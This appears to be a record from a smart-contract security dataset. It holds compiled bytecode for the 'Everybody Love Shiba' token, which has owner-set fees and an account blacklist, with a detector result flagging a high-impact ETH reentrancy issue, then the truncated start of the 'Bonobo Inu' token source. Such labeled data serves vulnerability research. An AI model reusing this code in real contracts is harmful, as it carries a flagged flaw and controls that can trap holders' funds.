151811015610816576001601160008484815181106107aa576107a96135f4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080e90613652565b915050610788565b5050565b60606040518060400160405280601481526020017f4576657279626f6479204c6f7665205368696261000000000000000000000000815250905090565b600061086b6108646117a8565b84846117b0565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108b8848484611979565b600560006108c46117a8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166109d2576109d18461091c6117a8565b6109cc8560405180606001604052806028815260200161422260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109826117a8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234b9092919063ffffffff16565b6117b0565b5b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a1a6117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e906135d4565b60405180910390fd5b6001601660146101000a81548160ff02191690831515021790555043600881905550565b610ad36117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b57906135d4565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bc36117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c47906135d4565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cad6117a8565b73ffffffffffffffffffffffffffffffffffffffff161480610d235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0b6117a8565b73ffffffffffffffffffffffffffffffffffffffff16145b610d2c57600080fd5b6000479050610d3a816123af565b50565b6000610d87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124aa565b9050919050565b610d966117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1a906135d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ee96117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d906135d4565b60405180910390fd5b6103e8670de0b6b3a7640000610f8c91906136c9565b811015610fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc59061376c565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600381526020017f454c530000000000000000000000000000000000000000000000000000000000815250905090565b6110526117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d6906135d4565b60405180910390fd5b8060198190555050565b6110f16117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611175906135d4565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c81905550600081846111a8919061378c565b9050600083866111b8919061378c565b90506019821115806111cb575060198111155b61120a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112019061382e565b60405180910390fd5b505050505050565b600061122661121f6117a8565b8484611979565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112916117a8565b73ffffffffffffffffffffffffffffffffffffffff1614806113075750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112ef6117a8565b73ffffffffffffffffffffffffffffffffffffffff16145b61131057600080fd5b600061131b30610d3d565b905061132681612518565b50565b6113316117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b5906135d4565b60405180910390fd5b60005b8383905081101561145d5781600560008686858181106113e4576113e36135f4565b5b90506020020160208101906113f99190613373565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061145590613652565b9150506113c1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114f86117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157c906135d4565b60405180910390fd5b6103e8670de0b6b3a764000061159b91906136c9565b8110156115dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d4906138c0565b60405180910390fd5b8060188190555050565b6115ef6117a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611673906135d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e290613952565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361181f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611816906139e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361188e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188590613a76565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161196c91906132a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119df90613b08565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4e90613b9a565b60405180910390fd5b60008111611a9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9190613c2c565b60405180910390fd5b611aa2610fde565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b105750611ae0610fde565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561204a57601660149054906101000a900460ff16611b9f57611b31610fde565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9590613cbe565b60405180910390fd5b5b601754811115611be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdb90613d2a565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c885750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbe90613dbc565b60405180910390fd5b6008544311158015611d265750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611d805750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611db857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e16576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ec35760185481611e7884610d3d565b611e82919061378c565b10611ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb990613e4e565b60405180910390fd5b5b6000611ece30610d3d565b9050600060195482101590506017548210611ee95760175491505b808015611f035750601660159054906101000a900460ff16155b8015611f5d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f73575060168054906101000a900460ff165b8015611fc95750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561201f5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120475761202d82612518565b6000479050600081111561204557612044476123af565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120f15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121a45750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121a35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121b25760009050612339565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561225d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561227557600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123205750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561233857600b54600d81905550600c54600e819055505b5b61234584848484612791565b50505050565b6000838311158290612393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238a919061314d565b60405180910390fd5b50600083856123a29190613e6e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123ff6002846127be90919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561242a573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61247b6002846127be90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124a6573d6000803e3d6000fd5b5050565b60006006548211156124f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e890613f14565b60405180910390fd5b60006124fb612808565b905061251081846127be90919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156125505761254f612edb565b5b60405190808252806020026020018201604052801561257e5781602001602082028036833780820191505090505b5090503081600081518110612596576125956135f4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561263d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126619190613f49565b81600181518110612675576126746135f4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126dc30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b0565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161274095949392919061406f565b600060405180830381600087803b15801561275a57600080fd5b505af115801561276e573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061279f5761279e612833565b5b6127aa848484612870565b806127b8576127b7612a3b565b5b50505050565b600061280083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a4f565b905092915050565b6000806000612815612ab2565b9150915061282c81836127be90919063ffffffff16565b9250505090565b6000600d5414801561284757506000600e54145b61286e57600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061288287612b11565b9550955095509550955095506128e086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b7990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061297585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129c181612c21565b6129cb8483612cde565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a2891906132a4565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8d919061314d565b60405180910390fd5b5060008385612aa591906136c9565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612ae6670de0b6b3a76400006006546127be90919063ffffffff16565b821015612b0457600654670de0b6b3a7640000935093505050612b0d565b81819350935050505b9091565b6000806000806000806000806000612b2e8a600d54600e54612d18565b9250925092506000612b3e612808565b90506000806000612b518e878787612dae565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612bbb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061234b565b905092915050565b6000808284612bd2919061378c565b905083811015612c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0e90614115565b60405180910390fd5b8091505092915050565b6000612c2b612808565b90506000612c428284612e3790919063ffffffff16565b9050612c9681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bc390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612cf382600654612b7990919063ffffffff16565b600681905550612d0e81600754612bc390919063ffffffff16565b6007819055505050565b600080600080612d446064612d36888a612e3790919063ffffffff16565b6127be90919063ffffffff16565b90506000612d6e6064612d60888b612e3790919063ffffffff16565b6127be90919063ffffffff16565b90506000612d9782612d89858c612b7990919063ffffffff16565b612b7990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612dc78589612e3790919063ffffffff16565b90506000612dde8689612e3790919063ffffffff16565b90506000612df58789612e3790919063ffffffff16565b90506000612e1e82612e108587612b7990919063ffffffff16565b612b7990919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612e495760009050612eab565b60008284612e579190614135565b9050828482612e6691906136c9565b14612ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9d90614201565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f1382612eca565b810181811067ffffffffffffffff82111715612f3257612f31612edb565b5b80604052505050565b6000612f45612eb1565b9050612f518282612f0a565b919050565b600067ffffffffffffffff821115612f7157612f70612edb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612fb282612f87565b9050919050565b612fc281612fa7565b8114612fcd57600080fd5b50565b600081359050612fdf81612fb9565b92915050565b6000612ff8612ff384612f56565b612f3b565b9050808382526020820190506020840283018581111561301b5761301a612f82565b5b835b8181101561304457806130308882612fd0565b84526020840193505060208101905061301d565b5050509392505050565b600082601f83011261306357613062612ec5565b5b8135613073848260208601612fe5565b91505092915050565b60006020828403121561309257613091612ebb565b5b600082013567ffffffffffffffff8111156130b0576130af612ec0565b5b6130bc8482850161304e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156130ff5780820151818401526020810190506130e4565b8381111561310e576000848401525b50505050565b600061311f826130c5565b61312981856130d0565b93506131398185602086016130e1565b61314281612eca565b840191505092915050565b600060208201905081810360008301526131678184613114565b905092915050565b6000819050919050565b6131828161316f565b811461318d57600080fd5b50565b60008135905061319f81613179565b92915050565b600080604083850312156131bc576131bb612ebb565b5b60006131ca85828601612fd0565b92505060206131db85828601613190565b9150509250929050565b60008115159050919050565b6131fa816131e5565b82525050565b600060208201905061321560008301846131f1565b92915050565b6000819050919050565b600061324061323b61323684612f87565b61321b565b612f87565b9050919050565b600061325282613225565b9050919050565b600061326482613247565b9050919050565b61327481613259565b82525050565b600060208201905061328f600083018461326b565b92915050565b61329e8161316f565b82525050565b60006020820190506132b96000830184613295565b92915050565b6000806000606084860312156132d8576132d7612ebb565b5b60006132e686828701612fd0565b93505060206132f786828701612fd0565b925050604061330886828701613190565b9150509250925092565b600060ff82169050919050565b61332881613312565b82525050565b6000602082019050613343600083018461331f565b92915050565b61335281612fa7565b82525050565b600060208201905061336d6000830184613349565b92915050565b60006020828403121561338957613388612ebb565b5b600061339784828501612fd0565b91505092915050565b6133a9816131e5565b81146133b457600080fd5b50565b6000813590506133c6816133a0565b92915050565b6000602082840312156133e2576133e1612ebb565b5b60006133f0848285016133b7565b91505092915050565b60006020828403121561340f5761340e612ebb565b5b600061341d84828501613190565b91505092915050565b600080600080608085870312156134405761343f612ebb565b5b600061344e87828801613190565b945050602061345f87828801613190565b935050604061347087828801613190565b925050606061348187828801613190565b91505092959194509250565b600080fd5b60008083601f8401126134a8576134a7612ec5565b5b8235905067ffffffffffffffff8111156134c5576134c461348d565b5b6020830191508360208202830111156134e1576134e0612f82565b5b9250929050565b60008060006040848603121561350157613500612ebb565b5b600084013567ffffffffffffffff81111561351f5761351e612ec0565b5b61352b86828701613492565b9350935050602061353e868287016133b7565b9150509250925092565b6000806040838503121561355f5761355e612ebb565b5b600061356d85828601612fd0565b925050602061357e85828601612fd0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135be6020836130d0565b91506135c982613588565b602082019050919050565b600060208201905081810360008301526135ed816135b1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061365d8261316f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361368f5761368e613623565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006136d48261316f565b91506136df8361316f565b9250826136ef576136ee61369a565b5b828204905092915050565b7f43616e6e6f7420736574206d61785478416d6f756e74206c6f7765722074686160008201527f6e20302e31250000000000000000000000000000000000000000000000000000602082015250565b60006137566026836130d0565b9150613761826136fa565b604082019050919050565b6000602082019050818103600083015261378581613749565b9050919050565b60006137978261316f565b91506137a28361316f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156137d7576137d6613623565b5b828201905092915050565b7f46656573206d75737420626520756e6465722032352500000000000000000000600082015250565b60006138186016836130d0565b9150613823826137e2565b602082019050919050565b600060208201905081810360008301526138478161380b565b9050919050565b7f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460008201527f68616e20302e3125000000000000000000000000000000000000000000000000602082015250565b60006138aa6028836130d0565b91506138b58261384e565b604082019050919050565b600060208201905081810360008301526138d98161389d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061393c6026836130d0565b9150613947826138e0565b604082019050919050565b6000602082019050818103600083015261396b8161392f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006139ce6024836130d0565b91506139d982613972565b604082019050919050565b600060208201905081810360008301526139fd816139c1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a606022836130d0565b9150613a6b82613a04565b604082019050919050565b60006020820190508181036000830152613a8f81613a53565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613af26025836130d0565b9150613afd82613a96565b604082019050919050565b60006020820190508181036000830152613b2181613ae5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b846023836130d0565b9150613b8f82613b28565b604082019050919050565b60006020820190508181036000830152613bb381613b77565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613c166029836130d0565b9150613c2182613bba565b604082019050919050565b60006020820190508181036000830152613c4581613c09565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613ca8603f836130d0565b9150613cb382613c4c565b604082019050919050565b60006020820190508181036000830152613cd781613c9b565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613d14601c836130d0565b9150613d1f82613cde565b602082019050919050565b60006020820190508181036000830152613d4381613d07565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613da66023836130d0565b9150613db182613d4a565b604082019050919050565b60006020820190508181036000830152613dd581613d99565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613e386023836130d0565b9150613e4382613ddc565b604082019050919050565b60006020820190508181036000830152613e6781613e2b565b9050919050565b6000613e798261316f565b9150613e848361316f565b925082821015613e9757613e96613623565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613efe602a836130d0565b9150613f0982613ea2565b604082019050919050565b60006020820190508181036000830152613f2d81613ef1565b9050919050565b600081519050613f4381612fb9565b92915050565b600060208284031215613f5f57613f5e612ebb565b5b6000613f6d84828501613f34565b91505092915050565b6000819050919050565b6000613f9b613f96613f9184613f76565b61321b565b61316f565b9050919050565b613fab81613f80565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613fe681612fa7565b82525050565b6000613ff88383613fdd565b60208301905092915050565b6000602082019050919050565b600061401c82613fb1565b6140268185613fbc565b935061403183613fcd565b8060005b838110156140625781516140498882613fec565b975061405483614004565b925050600181019050614035565b5085935050505092915050565b600060a0820190506140846000830188613295565b6140916020830187613fa2565b81810360408301526140a38186614011565b90506140b26060830185613349565b6140bf6080830184613295565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006140ff601b836130d0565b915061410a826140c9565b602082019050919050565b6000602082019050818103600083015261412e816140f2565b9050919050565b60006141408261316f565b915061414b8361316f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561418457614183613623565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006141eb6021836130d0565b91506141f68261418f565b604082019050919050565b6000602082019050818103600083015261421a816141de565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220381579117ccaf554953187e7a6ef52c826f1edcb32dc2f597e49cef4f470512f64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,685
0xd24aa7a8a78d3e83d36a95c65f2ba1a38bc9d3ff
/** https://t.me/BonoboInu The bonobo is an endangered great ape. It is one of the two species making up the genus Pan, the other being the common chimpanzee. The bonobo is distinguished by relatively long legs, pink lips, a dark face, tail-tuft through adulthood, and parted long hair on its head. It is also known to have diamond hands like none other. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BonoboInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Bonobo Inu"; string 